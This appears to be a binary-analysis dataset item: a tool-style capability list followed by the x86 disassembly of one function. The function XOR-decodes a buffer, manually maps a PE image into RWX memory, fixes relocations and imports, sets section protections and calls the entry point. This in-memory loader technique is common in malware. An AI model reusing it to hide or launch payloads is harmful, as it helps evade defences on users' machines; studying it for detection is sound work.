Function at 0x4010ab
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Inspect section memory permissions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
push esi
push edi
cmp dword [ebp + 0xc], 2
jne 0x4011c1
jmp 0x4010c9
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], eax
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
add eax, 0x78
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [eax + 4], 0
jne 0x4010f7
xor eax, eax
jmp 0x4019b6
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax]
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
cmp dword [eax + 0x18], 0
je 0x401114
mov eax, dword [ebp - 8]
cmp dword [eax + 0x14], 0
jne 0x40111b
xor eax, eax
jmp 0x4019b6
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0xc], ecx
and dword [ebp - 0x18], 0
jmp 0x401151
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
add eax, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
inc eax
inc eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [eax + 0x18]
jae 0x401181
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax]
push ecx
push dword [ebp + 0x14]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
pop ecx
test eax, eax
jne 0x40117f
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
mov dword [ebp - 4], eax
jmp 0x401181
jmp 0x401139
cmp dword [ebp - 4], 0xffffffff
jne 0x40118e
xor eax, eax
jmp 0x4019b6
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
cmp ecx, dword [eax + 0x14]
jbe 0x4011a0
xor eax, eax
jmp 0x4019b6
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [eax + 0x1c]
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
add edx, dword [ecx + eax*4]
mov eax, edx
jmp 0x4019b6
cmp dword [ebp + 0xc], 1
jne 0x4019b4
cmp dword [ebp + 0x18], 0
je 0x401271
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], eax
cmp dword [ebp + 0x1c], 0
je 0x401226
push dword [ebp + 0x1c]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x48], eax
and dword [ebp - 0x44], 0
jmp 0x4011fa
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp + 0x18]
jae 0x401226
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x44]
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x44]
xor edx, edx
div dword [ebp - 0x48]
mov eax, dword [ebp + 0x1c]
movsx eax, byte [eax + edx]
xor ecx, eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x44]
mov byte [eax], cl
jmp 0x4011f3
cmp dword [ebp + 0x20], 0
je 0x401271
push dword [ebp + 0x20]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x4c], eax
and dword [ebp - 0x44], 0
jmp 0x401245
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp + 0x18]
jae 0x401271
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x44]
movzx ecx, byte [eax]
mov eax, dword [ebp - 0x44]
xor edx, edx
div dword [ebp - 0x4c]
mov eax, dword [ebp + 0x20]
movsx eax, byte [eax + edx]
xor ecx, eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x44]
mov byte [eax], cl
jmp 0x40123e
jmp 0x401279
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x401293
xor eax, eax
jmp 0x4019b6
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
cmp dword [eax], 0x4550
je 0x4012b1
xor eax, eax
jmp 0x4019b6
push 0x40
push 0x2000
mov eax, dword [ebp - 0x30]
push dword [eax + 0x50]
mov eax, dword [ebp - 0x30]
push dword [eax + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x4012eb
push 0x40
push 0x2000
mov eax, dword [ebp - 0x30]
push dword [eax + 0x50]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x4012f8
xor eax, eax
jmp 0x4019b6
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3c]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x24]
and dword [eax + 0xc], 0
mov eax, dword [ebp - 0x24]
and dword [eax + 8], 0
mov eax, dword [ebp - 0x24]
and dword [eax + 0x10], 0
push 0x40
push 0x1000
mov eax, dword [ebp - 0x30]
push dword [eax + 0x50]
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x1000
mov eax, dword [ebp - 0x30]
push dword [eax + 0x54]
push dword [ebp - 0x3c]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0x30]
add eax, dword [ecx + 0x54]
push eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
add ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x24]
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov dword [eax + 0x34], ecx
jmp 0x401395
jmp 0x40139d
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 4]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov dword [ebp - 0x54], eax
and dword [ebp - 0x60], 0
jmp 0x4013d1
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x54]
add eax, 0x28
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x60], eax
jge 0x40147c
mov eax, dword [ebp - 0x54]
cmp dword [eax + 0x10], 0
jne 0x401433
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
jle 0x401431
push 0x40
push 0x1000
push dword [ebp - 0x50]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x5c]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x58]
mov dword [eax + 8], ecx
push dword [ebp - 0x50]
push 0
push dword [ebp - 0x58]
call sub.MSVCRT.dll_memset
add esp, 0xc
jmp 0x4013c1
push 0x40
push 0x1000
mov eax, dword [ebp - 0x54]
push dword [eax + 0x10]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x5c]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x54]
push dword [eax + 0x10]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
push ecx
push dword [ebp - 0x58]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x58]
mov dword [eax + 8], ecx
jmp 0x4013c1
jmp 0x401484
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0
je 0x40156a
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 4]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
add eax, 0xa0
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x6c]
cmp dword [eax + 4], 0
jbe 0x40156a
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x64]
add ecx, dword [eax]
mov dword [ebp - 0x70], ecx
mov eax, dword [ebp - 0x70]
cmp dword [eax], 0
jbe 0x40156a
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x64]
add ecx, dword [eax]
mov dword [ebp - 0x74], ecx
mov eax, dword [ebp - 0x70]
add eax, 8
mov dword [ebp - 0x78], eax
and dword [ebp - 0x68], 0
jmp 0x4014fd
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x78]
inc eax
inc eax
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 4]
sub eax, 8
shr eax, 1
cmp dword [ebp - 0x68], eax
jae 0x401559
mov eax, dword [ebp - 0x78]
movzx eax, word [eax]
sar eax, 0xc
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x78]
movzx eax, word [eax]
and eax, 0xfff
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
je 0x40153e
jmp 0x401557
mov eax, dword [ebp - 0x74]
add eax, dword [ebp - 0x84]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
add eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x7c]
mov dword [ecx], eax
jmp 0x4014ee
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x70]
add ecx, dword [eax + 4]
mov dword [ebp - 0x70], ecx
jmp 0x4014c8
mov dword [ebp - 0x90], 1
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 4]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
add eax, 0x80
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x8c]
cmp dword [eax + 4], 0
jbe 0x40178f
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x88]
add ecx, dword [eax]
mov dword [ebp - 0x94], ecx
jmp 0x4015c5
mov eax, dword [ebp - 0x94]
add eax, 0x14
mov dword [ebp - 0x94], eax
push 0x14
push dword [ebp - 0x94]
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x40178f
mov eax, dword [ebp - 0x94]
cmp dword [eax + 0xc], 0
je 0x40178f
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x88]
add ecx, dword [eax + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0xffffffff
jne 0x40161c
and dword [ebp - 0x90], 0
jmp 0x40178f
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0xc]
lea eax, [eax*4 + 4]
push eax
mov eax, dword [ebp - 0x24]
push dword [eax + 8]
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x24]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x24]
cmp dword [eax + 8], 0
jne 0x401653
and dword [ebp - 0x90], 0
jmp 0x40178f
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 8]
mov edx, dword [ebp - 0x9c]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp - 0x24]
mov eax, dword [eax + 0xc]
inc eax
mov ecx, dword [ebp - 0x24]
mov dword [ecx + 0xc], eax
mov eax, dword [ebp - 0x94]
cmp dword [eax], 0
je 0x4016ab
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x88]
add ecx, dword [eax]
mov dword [ebp - 0x98], ecx
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x88]
add ecx, dword [eax + 0x10]
mov dword [ebp - 0xa0], ecx
jmp 0x4016d5
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x88]
add ecx, dword [eax + 0x10]
mov dword [ebp - 0x98], ecx
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x88]
add ecx, dword [eax + 0x10]
mov dword [ebp - 0xa0], ecx
jmp 0x4016f5
mov eax, dword [ebp - 0x98]
add eax, 4
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0xa0]
add eax, 4
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x98]
cmp dword [eax], 0
je 0x40177f
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
and eax, 0x80000000
test eax, eax
je 0x401735
mov eax, dword [ebp - 0x98]
mov eax, dword [eax]
and eax, 0xffff
push eax
push dword [ebp - 0x9c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
jmp 0x401766
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x88]
add ecx, dword [eax]
mov dword [ebp - 0xa4], ecx
mov eax, dword [ebp - 0xa4]
inc eax
inc eax
push eax
push dword [ebp - 0x9c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0xa0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa0]
cmp dword [eax], 0
jne 0x40177a
and dword [ebp - 0x90], 0
jmp 0x40177f
jmp 0x4016d7
cmp dword [ebp - 0x90], 0
jne 0x40178a
jmp 0x40178f
jmp 0x4015b6
cmp dword [ebp - 0x90], 0
jne 0x4017b6
push 0
push 0
push 0
push 0
push dword [ebp - 0x24]
push 0
push 0
call fcn.004010ab
add esp, 0x1c
xor eax, eax
jmp 0x4019b6
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov dword [ebp - 0xa8], eax
and dword [ebp - 0xac], 0
jmp 0x4017f3
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xa8]
add eax, 0x28
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp dword [ebp - 0xac], eax
jge 0x40195b
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 0x24]
and eax, 0x20000000
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 0x24]
and eax, 0x40000000
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 0x24]
and eax, 0x80000000
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 0x24]
and eax, 0x2000000
test eax, eax
je 0x40188a
push 0x4000
mov eax, dword [ebp - 0xa8]
push dword [eax + 0x10]
mov eax, dword [ebp - 0xa8]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4017d7
mov eax, dword [ebp - 0xb4]
shl eax, 4
mov ecx, dword [ebp - 0xc4]
lea eax, [eax + ecx*8 + 0x403024]
mov ecx, dword [ebp - 0xb0]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 0x24]
and eax, 0x4000000
test eax, eax
je 0x4018d0
mov eax, dword [ebp - 0xbc]
or ah, 2
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jne 0x401928
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 0x24]
and eax, 0x40
test eax, eax
je 0x401908
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov eax, dword [eax + 0x20]
mov dword [ebp - 0xb8], eax
jmp 0x401928
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax + 0x24]
and eax, 0x80
test eax, eax
je 0x401928
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0
jbe 0x401956
lea eax, [ebp - 0xc0]
push eax
push dword [ebp - 0xbc]
mov eax, dword [ebp - 0xa8]
push dword [eax + 0x10]
mov eax, dword [ebp - 0xa8]
push dword [eax + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x4017d7
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x4019af
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 4]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x28], 0
jne 0x401998
push 0
push 0
push 0
push 0
push dword [ebp - 0x24]
push 0
push 0
call fcn.004010ab
add esp, 0x1c
xor eax, eax
jmp 0x4019b6
push 0
push 1
mov eax, dword [ebp - 0x24]
push dword [eax + 4]
call dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov dword [eax + 0x10], 1
mov eax, dword [ebp - 0x24]
jmp 0x4019b6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret